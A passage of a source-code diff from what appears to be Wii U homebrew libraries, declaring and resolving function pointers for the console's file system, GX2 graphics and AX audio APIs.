extern void * (* AXAcquireVoice)(u32 prio, void * callback, u32 arg);
|
||||
extern void (* AXFreeVoice)(void *v);
|
||||
extern void (* AXRegisterFrameCallback)(void * callback);
|
||||
extern u32 (* AXGetVoiceLoopCount)(void * v);
|
||||
extern void (* AXSetVoiceEndOffset)(void * v, u32 offset);
|
||||
extern void (* AXSetVoiceLoopOffset)(void * v, u32 offset);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __VPAD_FUNCTIONS_H_
|
126
src/dynamic_libs/fs_functions.c
Normal file
126
src/dynamic_libs/fs_functions.c
Normal file
@ -0,0 +1,126 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#include "fs_functions.h"
|
||||
#include "os_functions.h"
|
||||
#include "utils/utils.h"
|
||||
|
||||
EXPORT_DECL(int, FSInit, void);
|
||||
EXPORT_DECL(int, FSShutdown, void);
|
||||
EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling);
|
||||
EXPORT_DECL(int, FSDelClient, void *pClient);
|
||||
EXPORT_DECL(void, FSInitCmdBlock, void *pCmd);
|
||||
EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling);
|
||||
|
||||
EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, char *target, uint32_t bytes, int errHandling);
|
||||
EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling);
|
||||
|
||||
EXPORT_DECL(int, FSGetStat, void *pClient, void *pCmd, const char *path, FSStat *stats, int errHandling);
|
||||
EXPORT_DECL(int, FSGetStatAsync, void *pClient, void *pCmd, const char *path, void *stats, int error, void *asyncParams);
|
||||
EXPORT_DECL(int, FSRename, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error);
|
||||
EXPORT_DECL(int, FSRenameAsync, void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams);
|
||||
EXPORT_DECL(int, FSRemove, void *pClient, void *pCmd, const char *path, int error);
|
||||
EXPORT_DECL(int, FSRemoveAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams);
|
||||
EXPORT_DECL(int, FSFlushQuota, void *pClient, void *pCmd, const char* path, int error);
|
||||
EXPORT_DECL(int, FSFlushQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams);
|
||||
EXPORT_DECL(int, FSGetFreeSpaceSize, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error);
|
||||
EXPORT_DECL(int, FSGetFreeSpaceSizeAsync, void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error, void *asyncParams);
|
||||
EXPORT_DECL(int, FSRollbackQuota, void *pClient, void *pCmd, const char *path, int error);
|
||||
EXPORT_DECL(int, FSRollbackQuotaAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams);
|
||||
|
||||
EXPORT_DECL(int, FSOpenDir, void *pClient, void *pCmd, const char *path, int *dh, int errHandling);
|
||||
EXPORT_DECL(int, FSOpenDirAsync, void *pClient, void* pCmd, const char *path, int *handle, int error, void *asyncParams);
|
||||
EXPORT_DECL(int, FSReadDir, void *pClient, void *pCmd, int dh, FSDirEntry *dir_entry, int errHandling);
|
||||
EXPORT_DECL(int, FSRewindDir, void *pClient, void *pCmd, int dh, int errHandling);
|
||||
EXPORT_DECL(int, FSCloseDir, void *pClient, void *pCmd, int dh, int errHandling);
|
||||
EXPORT_DECL(int, FSChangeDir, void *pClient, void *pCmd, const char *path, int errHandling);
|
||||
EXPORT_DECL(int, FSChangeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams);
|
||||
EXPORT_DECL(int, FSMakeDir, void *pClient, void *pCmd, const char *path, int errHandling);
|
||||
EXPORT_DECL(int, FSMakeDirAsync, void *pClient, void *pCmd, const char *path, int error, void *asyncParams);
|
||||
|
||||
EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling);
|
||||
EXPORT_DECL(int, FSOpenFileAsync, void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error, const void *asyncParams);
|
||||
EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling);
|
||||
EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling);
|
||||
|
||||
EXPORT_DECL(int, FSFlushFile, void *pClient, void *pCmd, int fd, int error);
|
||||
EXPORT_DECL(int, FSTruncateFile, void *pClient, void *pCmd, int fd, int error);
|
||||
EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error);
|
||||
EXPORT_DECL(int, FSSetPosFile, void *pClient, void *pCmd, int fd, int pos, int error);
|
||||
EXPORT_DECL(int, FSWriteFile, void *pClient, void *pCmd, const void *source, int block_size, int block_count, int fd, int flag, int error);
|
||||
|
||||
EXPORT_DECL(int, FSBindMount, void *pClient, void *pCmd, char *source, char *target, int error);
|
||||
EXPORT_DECL(int, FSBindUnmount, void *pClient, void *pCmd, char *target, int error);
|
||||
|
||||
void InitFSFunctionPointers(void)
|
||||
{
|
||||
unsigned int *funcPointer = 0;
|
||||
|
||||
OS_FIND_EXPORT(coreinit_handle, FSInit);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSShutdown);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSAddClientEx);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSDelClient);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSInitCmdBlock);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSGetMountSource);
|
||||
|
||||
OS_FIND_EXPORT(coreinit_handle, FSMount);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSUnmount);
|
||||
|
||||
OS_FIND_EXPORT(coreinit_handle, FSGetStat);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSGetStatAsync);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSRename);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSRenameAsync);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSRemove);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSRemoveAsync);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSFlushQuota);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSFlushQuotaAsync);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSGetFreeSpaceSize);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSGetFreeSpaceSizeAsync);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSRollbackQuota);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSRollbackQuotaAsync);
|
||||
|
||||
OS_FIND_EXPORT(coreinit_handle, FSOpenDir);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSOpenDirAsync);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSReadDir);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSRewindDir);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSCloseDir);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSChangeDir);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSChangeDirAsync);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSMakeDir);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSMakeDirAsync);
|
||||
|
||||
|
||||
OS_FIND_EXPORT(coreinit_handle, FSOpenFile);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSOpenFileAsync);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSReadFile);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSCloseFile);
|
||||
|
||||
OS_FIND_EXPORT(coreinit_handle, FSFlushFile);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSTruncateFile);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSGetStatFile);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSSetPosFile);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSWriteFile);
|
||||
|
||||
OS_FIND_EXPORT(coreinit_handle, FSBindMount);
|
||||
OS_FIND_EXPORT(coreinit_handle, FSBindUnmount);
|
||||
}
|
90
src/dynamic_libs/fs_functions.h
Normal file
90
src/dynamic_libs/fs_functions.h
Normal file
@ -0,0 +1,90 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#ifndef __FS_FUNCTIONS_H_
|
||||
#define __FS_FUNCTIONS_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include "common/fs_defs.h"
|
||||
|
||||
void InitFSFunctionPointers(void);
|
||||
|
||||
extern int (* FSInit)(void);
|
||||
extern int (* FSShutdown)(void);
|
||||
extern int (* FSAddClientEx)(void *pClient, int unk_zero_param, int errHandling);
|
||||
extern int (* FSDelClient)(void *pClient);
|
||||
extern void (* FSInitCmdBlock)(void *pCmd);
|
||||
extern int (* FSGetMountSource)(void *pClient, void *pCmd, int type, void *source, int errHandling);
|
||||
|
||||
extern int (* FSMount)(void *pClient, void *pCmd, void *source, char *target, uint32_t bytes, int errHandling);
|
||||
extern int (* FSUnmount)(void *pClient, void *pCmd, const char *target, int errHandling);
|
||||
extern int (* FSRename)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error);
|
||||
extern int (* FSRenameAsync)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams);
|
||||
extern int (* FSRemove)(void *pClient, void *pCmd, const char *path, int error);
|
||||
extern int (* FSRemoveAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams);
|
||||
|
||||
extern int (* FSGetStat)(void *pClient, void *pCmd, const char *path, FSStat *stats, int errHandling);
|
||||
extern int (* FSGetStatAsync)(void *pClient, void *pCmd, const char *path, void *stats, int error, void *asyncParams);
|
||||
extern int (* FSRename)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error);
|
||||
extern int (* FSRenameAsync)(void *pClient, void *pCmd, const char *oldPath, const char *newPath, int error, void *asyncParams);
|
||||
extern int (* FSRemove)(void *pClient, void *pCmd, const char *path, int error);
|
||||
extern int (* FSRemoveAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams);
|
||||
extern int (* FSFlushQuota)(void *pClient, void *pCmd, const char* path, int error);
|
||||
extern int (* FSFlushQuotaAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams);
|
||||
extern int (* FSGetFreeSpaceSize)(void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error);
|
||||
extern int (* FSGetFreeSpaceSizeAsync)(void *pClient, void *pCmd, const char *path, uint64_t *returnedFreeSize, int error, void *asyncParams);
|
||||
extern int (* FSRollbackQuota)(void *pClient, void *pCmd, const char *path, int error);
|
||||
extern int (* FSRollbackQuotaAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams);
|
||||
|
||||
extern int (* FSOpenDir)(void *pClient, void *pCmd, const char *path, int *dh, int errHandling);
|
||||
extern int (* FSOpenDirAsync)(void *pClient, void* pCmd, const char *path, int *handle, int error, void *asyncParams);
|
||||
extern int (* FSReadDir)(void *pClient, void *pCmd, int dh, FSDirEntry *dir_entry, int errHandling);
|
||||
extern int (* FSRewindDir)(void *pClient, void *pCmd, int dh, int errHandling);
|
||||
extern int (* FSCloseDir)(void *pClient, void *pCmd, int dh, int errHandling);
|
||||
extern int (* FSChangeDir)(void *pClient, void *pCmd, const char *path, int errHandling);
|
||||
extern int (* FSChangeDirAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams);
|
||||
extern int (* FSMakeDir)(void *pClient, void *pCmd, const char *path, int errHandling);
|
||||
extern int (* FSMakeDirAsync)(void *pClient, void *pCmd, const char *path, int error, void *asyncParams);
|
||||
|
||||
extern int (* FSOpenFile)(void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling);
|
||||
extern int (* FSOpenFileAsync)(void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error, const void *asyncParams);
|
||||
extern int (* FSReadFile)(void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling);
|
||||
extern int (* FSCloseFile)(void *pClient, void *pCmd, int fd, int errHandling);
|
||||
|
||||
extern int (* FSFlushFile)(void *pClient, void *pCmd, int fd, int error);
|
||||
extern int (* FSTruncateFile)(void *pClient, void *pCmd, int fd, int error);
|
||||
extern int (* FSGetStatFile)(void *pClient, void *pCmd, int fd, void *buffer, int error);
|
||||
extern int (* FSSetPosFile)(void *pClient, void *pCmd, int fd, int pos, int error);
|
||||
extern int (* FSWriteFile)(void *pClient, void *pCmd, const void *source, int block_size, int block_count, int fd, int flag, int error);
|
||||
|
||||
extern int (* FSBindMount)(void *pClient, void *pCmd, char *source, char *target, int error);
|
||||
extern int (* FSBindUnmount)(void *pClient, void *pCmd, char *target, int error);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __FS_FUNCTIONS_H_
|
162
src/dynamic_libs/gx2_functions.c
Normal file
162
src/dynamic_libs/gx2_functions.c
Normal file
@ -0,0 +1,162 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#include "os_functions.h"
|
||||
#include "gx2_types.h"
|
||||
#include "utils/utils.h"
|
||||
|
||||
EXPORT_DECL(void, GX2Init, u32 * init_attribs);
|
||||
EXPORT_DECL(void, GX2Shutdown, void);
|
||||
EXPORT_DECL(void, GX2Flush, void);
|
||||
EXPORT_DECL(s32, GX2GetMainCoreId, void) ;
|
||||
EXPORT_DECL(s32, GX2DrawDone, void);
|
||||
EXPORT_DECL(void, GX2ClearColor, GX2ColorBuffer *colorBuffer, f32 r, f32 g, f32 b, f32 a);
|
||||
EXPORT_DECL(void, GX2SetViewport, f32 x, f32 y, f32 w, f32 h, f32 nearZ, f32 farZ);
|
||||
EXPORT_DECL(void, GX2SetScissor, u32 x_orig, u32 y_orig, u32 wd, u32 ht);
|
||||
EXPORT_DECL(void, GX2SetContextState, const GX2ContextState* state);
|
||||
EXPORT_DECL(void, GX2DrawEx, s32 primitive_type, u32 count, u32 first_vertex, u32 instances_count);
|
||||
EXPORT_DECL(void, GX2DrawIndexedEx, s32 primitive_type, u32 count, s32 index_format, const void* idx, u32 first_vertex, u32 instances_count);
|
||||
EXPORT_DECL(void, GX2ClearDepthStencilEx, GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value, s32 clear_mode);
|
||||
EXPORT_DECL(void, GX2CopyColorBufferToScanBuffer, const GX2ColorBuffer *colorBuffer, s32 scan_target);
|
||||
EXPORT_DECL(void, GX2SwapScanBuffers, void);
|
||||
EXPORT_DECL(void, GX2SetTVEnable, s32 enable);
|
||||
EXPORT_DECL(void, GX2SetSwapInterval, u32 swap_interval);
|
||||
EXPORT_DECL(u32, GX2GetSwapInterval, void);
|
||||
EXPORT_DECL(void, GX2WaitForVsync, void);
|
||||
EXPORT_DECL(void, GX2CalcTVSize, s32 tv_render_mode, s32 format, s32 buffering_mode, u32 * size, s32 * scale_needed);
|
||||
EXPORT_DECL(void, GX2Invalidate, s32 invalidate_type, void * ptr, u32 buffer_size);
|
||||
EXPORT_DECL(void, GX2SetTVBuffer, void *buffer, u32 buffer_size, s32 tv_render_mode, s32 format, s32 buffering_mode);
|
||||
EXPORT_DECL(void, GX2CalcSurfaceSizeAndAlignment, GX2Surface *surface);
|
||||
EXPORT_DECL(void, GX2InitDepthBufferRegs, GX2DepthBuffer *depthBuffer);
|
||||
EXPORT_DECL(void, GX2InitColorBufferRegs, GX2ColorBuffer *colorBuffer);
|
||||
EXPORT_DECL(void, GX2CalcColorBufferAuxInfo, GX2ColorBuffer *colorBuffer, u32 *size, u32 *align);
|
||||
EXPORT_DECL(void, GX2CalcDepthBufferHiZInfo, GX2DepthBuffer *depthBuffer, u32 *size, u32 *align);
|
||||
EXPORT_DECL(void, GX2InitDepthBufferHiZEnable, GX2DepthBuffer *depthBuffer, s32 hiZ_enable);
|
||||
EXPORT_DECL(void, GX2SetupContextStateEx, GX2ContextState* state, s32 enable_profiling);
|
||||
EXPORT_DECL(void, GX2SetColorBuffer, const GX2ColorBuffer *colorBuffer, s32 target);
|
||||
EXPORT_DECL(void, GX2SetDepthBuffer, const GX2DepthBuffer *depthBuffer);
|
||||
EXPORT_DECL(void, GX2SetAttribBuffer, u32 attr_index, u32 attr_size, u32 stride, const void* attr);
|
||||
EXPORT_DECL(void, GX2InitTextureRegs, GX2Texture *texture);
|
||||
EXPORT_DECL(void, GX2InitSampler, GX2Sampler *sampler, s32 tex_clamp, s32 min_mag_filter);
|
||||
EXPORT_DECL(u32, GX2CalcFetchShaderSizeEx, u32 num_attrib, s32 fetch_shader_type, s32 tessellation_mode);
|
||||
EXPORT_DECL(void, GX2InitFetchShaderEx, GX2FetchShader* fs, void* fs_buffer, u32 count, const GX2AttribStream* attribs, s32 fetch_shader_type, s32 tessellation_mode);
|
||||
EXPORT_DECL(void, GX2SetFetchShader, const GX2FetchShader* fs);
|
||||
EXPORT_DECL(void, GX2SetVertexUniformReg, u32 offset, u32 count, const void *values);
|
||||
EXPORT_DECL(void, GX2SetPixelUniformReg, u32 offset, u32 count, const void *values);
|
||||
EXPORT_DECL(void, GX2SetPixelTexture, const GX2Texture *texture, u32 texture_hw_location);
|
||||
EXPORT_DECL(void, GX2SetVertexTexture, const GX2Texture *texture, u32 texture_hw_location);
|
||||
EXPORT_DECL(void, GX2SetPixelSampler, const GX2Sampler *sampler, u32 sampler_hw_location);
|
||||
EXPORT_DECL(void, GX2SetVertexSampler, const GX2Sampler *sampler, u32 sampler_hw_location);
|
||||
EXPORT_DECL(void, GX2SetPixelShader, const GX2PixelShader* pixelShader);
|
||||
EXPORT_DECL(void, GX2SetVertexShader, const GX2VertexShader* vertexShader);
|
||||
EXPORT_DECL(void, GX2InitSamplerZMFilter, GX2Sampler *sampler, s32 z_filter, s32 mip_filter);
|
||||
EXPORT_DECL(void, GX2SetColorControl, s32 lop, u8 blend_enable_mask, s32 enable_multi_write, s32 enable_color_buffer);
|
||||
EXPORT_DECL(void, GX2SetDepthOnlyControl, s32 enable_depth, s32 enable_depth_write, s32 depth_comp_function);
|
||||
EXPORT_DECL(void, GX2SetBlendControl, s32 target, s32 color_src_blend, s32 color_dst_blend, s32 color_combine, s32 separate_alpha_blend, s32 alpha_src_blend, s32 alpha_dst_blend, s32 alpha_combine);
|
||||
EXPORT_DECL(void, GX2CalcDRCSize, s32 drc_mode, s32 format, s32 buffering_mode, u32 *size, s32 *scale_needed);
|
||||
EXPORT_DECL(void, GX2SetDRCBuffer, void *buffer, u32 buffer_size, s32 drc_mode, s32 surface_format, s32 buffering_mode);
|
||||
EXPORT_DECL(void, GX2SetDRCScale, u32 width, u32 height);
|
||||
EXPORT_DECL(void, GX2SetDRCEnable, s32 enable);
|
||||
EXPORT_DECL(void, GX2SetPolygonControl, s32 front_face_mode, s32 cull_front, s32 cull_back, s32 enable_mode, s32 mode_font, s32 mode_back, s32 poly_offset_front, s32 poly_offset_back, s32 point_line_offset);
|
||||
EXPORT_DECL(void, GX2SetCullOnlyControl, s32 front_face_mode, s32 cull_front, s32 cull_back);
|
||||
EXPORT_DECL(void, GX2SetDepthStencilControl, s32 enable_depth_test, s32 enable_depth_write, s32 depth_comp_function, s32 stencil_test_enable, s32 back_stencil_enable,
|
||||
s32 font_stencil_func, s32 front_stencil_z_pass, s32 front_stencil_z_fail, s32 front_stencil_fail,
|
||||
s32 back_stencil_func, s32 back_stencil_z_pass, s32 back_stencil_z_fail, s32 back_stencil_fail);
|
||||
EXPORT_DECL(void, GX2SetStencilMask, u8 mask_front, u8 write_mask_front, u8 ref_front, u8 mask_back, u8 write_mask_back, u8 ref_back);
|
||||
EXPORT_DECL(void, GX2SetLineWidth, f32 width);
|
||||
EXPORT_DECL(void, GX2SetTVGamma, f32 val);
|
||||
EXPORT_DECL(void, GX2SetDRCGamma, f32 gam);
|
||||
EXPORT_DECL(s32, GX2GetSystemTVScanMode, void);
|
||||
EXPORT_DECL(s32, GX2GetSystemDRCScanMode, void);
|
||||
EXPORT_DECL(void, GX2RSetAllocator, void * (* allocFunc)(u32, u32, u32), void (* freeFunc)(u32, void*));
|
||||
|
||||
|
||||
void InitGX2FunctionPointers(void)
|
||||
{
|
||||
unsigned int *funcPointer = 0;
|
||||
unsigned int gx2_handle;
|
||||
OSDynLoad_Acquire("gx2.rpl", &gx2_handle);
|
||||
|
||||
OS_FIND_EXPORT(gx2_handle, GX2Init);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2Shutdown);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2Flush);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2GetMainCoreId);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2DrawDone);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2ClearColor);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetViewport);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetScissor);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetContextState);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2DrawEx);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2DrawIndexedEx);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2ClearDepthStencilEx);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2CopyColorBufferToScanBuffer);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SwapScanBuffers);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetTVEnable);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetSwapInterval);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2GetSwapInterval);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2WaitForVsync);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2CalcTVSize);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2Invalidate);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetTVBuffer);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2CalcSurfaceSizeAndAlignment);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2InitDepthBufferRegs);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2InitColorBufferRegs);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2CalcColorBufferAuxInfo);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2CalcDepthBufferHiZInfo);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2InitDepthBufferHiZEnable);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetupContextStateEx);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetColorBuffer);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetDepthBuffer);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetAttribBuffer);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2InitTextureRegs);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2InitSampler);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2CalcFetchShaderSizeEx);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2InitFetchShaderEx);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetFetchShader);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetVertexUniformReg);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetPixelUniformReg);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetPixelTexture);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetVertexTexture);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetPixelSampler);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetVertexSampler);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetPixelShader);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetVertexShader);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2InitSamplerZMFilter);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetColorControl);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetDepthOnlyControl);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetBlendControl);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2CalcDRCSize);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetDRCBuffer);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetDRCScale);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetDRCEnable);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetPolygonControl);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetCullOnlyControl);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetDepthStencilControl);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetStencilMask);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetLineWidth);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetDRCGamma);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2SetTVGamma);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2GetSystemTVScanMode);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2GetSystemDRCScanMode);
|
||||
OS_FIND_EXPORT(gx2_handle, GX2RSetAllocator);
|
||||
}
|
205
src/dynamic_libs/gx2_functions.h
Normal file
205
src/dynamic_libs/gx2_functions.h
Normal file
@ -0,0 +1,205 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015
|
||||
* by Dimok
|
||||
*
|
||||
* This software is provided 'as-is', without any express or implied
|
||||
* warranty. In no event will the authors be held liable for any
|
||||
* damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any
|
||||
* purpose, including commercial applications, and to alter it and
|
||||
* redistribute it freely, subject to the following restrictions:
|
||||
*
|
||||
* 1. The origin of this software must not be misrepresented; you
|
||||
* must not claim that you wrote the original software. If you use
|
||||
* this software in a product, an acknowledgment in the product
|
||||
* documentation would be appreciated but is not required.
|
||||
*
|
||||
* 2. Altered source versions must be plainly marked as such, and
|
||||
* must not be misrepresented as being the original software.
|
||||
*
|
||||
* 3. This notice may not be removed or altered from any source
|
||||
* distribution.
|
||||
***************************************************************************/
|
||||
#ifndef __GX2_FUNCTIONS_H_
|
||||
#define __GX2_FUNCTIONS_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include "gx2_types.h"
|
||||
|
||||
void InitGX2FunctionPointers(void);
|
||||
|
||||
extern void (* GX2Init)(u32 * init_attribs);
|
||||
extern void (* GX2Shutdown)(void);
|
||||
extern void (* GX2Flush)(void);
|
||||
extern s32 (* GX2GetMainCoreId)(void) ;
|
||||
extern s32 (* GX2DrawDone)(void);
|
||||
extern void (* GX2ClearColor)(GX2ColorBuffer *colorBuffer, f32 r, f32 g, f32 b, f32 a);
|
||||
extern void (* GX2SetViewport)(f32 x, f32 y, f32 w, f32 h, f32 nearZ, f32 farZ);
|
||||
extern void (* GX2SetScissor)(u32 x_orig, u32 y_orig, u32 wd, u32 ht);
|
||||
extern void (* GX2SetContextState)(const GX2ContextState* state);
|
||||
extern void (* GX2DrawEx)(s32 primitive_type, u32 count, u32 first_vertex, u32 instances_count);
|
||||
extern void (* GX2DrawIndexedEx)(s32 primitive_type, u32 count, s32 index_format, const void* idx, u32 first_vertex, u32 instances_count);
|
||||
extern void (* GX2ClearDepthStencilEx)(GX2DepthBuffer *depthBuffer, f32 depth_value, u8 stencil_value, s32 clear_mode);
|
||||
